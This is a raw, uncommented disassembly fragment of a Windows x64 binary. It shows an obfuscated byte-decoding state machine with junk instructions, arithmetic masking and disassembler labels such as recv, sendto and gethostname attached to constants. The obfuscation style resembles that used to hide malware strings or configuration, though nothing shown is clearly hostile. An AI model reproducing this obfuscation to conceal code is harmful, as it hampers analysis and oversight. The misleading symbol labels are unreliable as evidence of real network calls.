jb 0x1400c9001
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400c87e8
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400c87c9
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400c87ae
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400c89d0
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400c8987
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1400c894a
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1400c8922
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400c8610
lea rax, [r9 + 8]
lea r9, [rax + 1]
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1400c88f4
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1400c88d3
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x1400c88b4
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400c8897
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400c887f
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400c8871
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400c884e
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x1400c8828
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400c8809
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400c8610
lea rax, [r9 + 6]
lea r9, [rax + 0x2a]
jmp 0x1400c8610
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x48
jmp 0x1400c8600
lea r8d, [r10 - 0x58]
movzx ecx, r8b
and cl, r11b
mov edx, 0x34
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8590
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c8520
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8e7f
add r10b, 0x70
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400c8503
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x60
dec rbx
inc rbx
jmp 0x1400c8503
lea r8d, [r10 - 0x30]
mov edx, Ordinal_41
jmp 0x1400c8ede
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add rax, r9
jmp 0x1400c8f31
add r10b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x50
jmp 0x1400c8f31
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8f67
sub r10b, 0x70
movzx ecx, r10b
and cl, r11b
mov edx, 8
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c8f92
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
sub r10b, 0x48
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 8
mov byte [rbp + rbx + 0x158], r8b
inc rbx
jmp 0x1400c8503
lea edx, [r10 - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x58
cmp r9, 0x1000
jb 0x1400c893a
lea edx, [r10 + 0x70]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea r8d, [rdx*2 - 0x20]
jmp 0x1400c8e7f
lea r8d, [r10 + 0x18]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_45
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
cmp rax, 0x61
jae 0x1400c8dad
lea rcx, [r9 + 0x64]
cmp rax, rcx
jbe 0x1400c8cde
lea edx, [r10 + 0x50]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x30
jmp 0x1400c8960
lea r8d, [r10 + 0x48]
movzx ecx, r8b
and cl, r11b
mov edx, 4
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
lea rcx, [r9 + rax]
cmp rcx, 0x7a
je 0x1400c8dcb
lea rcx, [r9 + 0x80]
cmp rax, rcx
jbe 0x1400c8c2f
lea edx, [r10 - 0x38]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x78
jmp 0x1400c89a1
add r10b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x50
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c8f92
lea r8d, [r10 - 0x70]
movzx ecx, r8b
and cl, r11b
mov edx, 8
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8f67
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
jmp 0x1400c8f31
sub r10b, 0x10
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
add rax, r9
jmp 0x1400c8f31
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x30
dec rbx
inc rbx
jmp 0x1400c8503
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400c8503
lea r8d, [r10 - 0x50]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_26
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8e7f
lea rcx, [r9 + 0x20]
cmp rax, rcx
jae 0x1400c8b55
lea r8d, [r10 + 0x68]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_sendto
jmp 0x1400c89e0
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c8b8c
add r10b, 0x10
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x70
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400c8bb5
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x30
add rax, r9
jmp 0x1400c8f31
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400c8bcc
lea r8d, [r10 + 0x20]
mov edx, reloc.WS2_32.dll_recv
jmp 0x1400c8ede
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c8bfc
sub r10b, 0x10
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c89ea
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c8c53
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x28
jmp 0x1400c8e7f
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c8c83
add r10b, 0x38
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c8cb0
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
add rax, r9
jmp 0x1400c8f31
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400c89a1
sub r10b, 0x58
movzx ecx, r10b
and cl, r11b
mov edx, 0x34
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c8f31
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c8d19
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c8d3d
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x40
jmp 0x1400c8f67
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400c8d61
lea edx, [r10 + 0x30]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x50
jmp 0x1400c8eef
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400c8d85
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
dec rbx
inc rbx
jmp 0x1400c8503
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1400c8960
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
jmp 0x1400c8e7f
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
movzx edx, r11b
sub dl, cl
add dl, 0x20
add dl, dl
add r8b, dl
jmp 0x1400c8eef
lea edx, [r10 + 0x10]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [rdx - 0x70]
jmp 0x1400c8f67
lea r8d, [r10 + 0x38]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8f67
add r10b, 0x68
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c8f31
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x28
add rax, r9
jmp 0x1400c8f31
sub r10b, 8
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_30
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400c8503
lea edx, [r10 + 0x58]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x68
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x158], dl
inc r9
dec rbx
inc rbx
jmp 0x1400c8503
lea edx, [rbx - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x58
inc r9
dec rbx
inc rbx
jmp 0x1400c8503
movzx r10d, bl
lea r8d, [r10 + 0x48]
mov edx, 4
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
sub r10b, 0x58
movzx ecx, r10b
and cl, r11b
mov edx, 0x34
sub dl, cl
add dl, dl
add dl, r8b
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x158], dl
add rax, r9
jmp 0x1400c8f31
lea rdx, [rbx + r14]
and dil, dl
mov ecx, 0x34
sub cl, dil
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400c8503
lea rdx, [rbx + r12]
and dil, dl
mov ecx, recv
sub cl, dil
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
movzx r10d, bl
add r10b, 0x78
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x48
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx + 0x158], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x20
add dl, r11b
mov byte [rbp + rbx + 0x158], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
lea rdx, [rbx + r15]
and dil, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, dil
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
movzx ecx, byte [rbp + rbx + 0x158]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c8503
add r10b, 8
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x38
jmp 0x1400c8500
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c84f0
mov eax, dword [rbp + 0x15c0338]
jmp 0x1400c9055
mov eax, dword [rbp + 0x14a50a0]
jmp 0x1400c9055
mov eax, dword [rbp + 0x158]
cdqe
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.14005ad30
mov rcx, rax
call fcn.14005ada0
nop
lea rcx, [rbp + 0x980]
call fcn.140003810
nop
lea rcx, [rbp + 0x938]
call fcn.140002820
nop
lea rcx, [rbp + 0x958]
call fcn.140002820
jmp 0x1400c6ab8
call fcn.14006a780
int3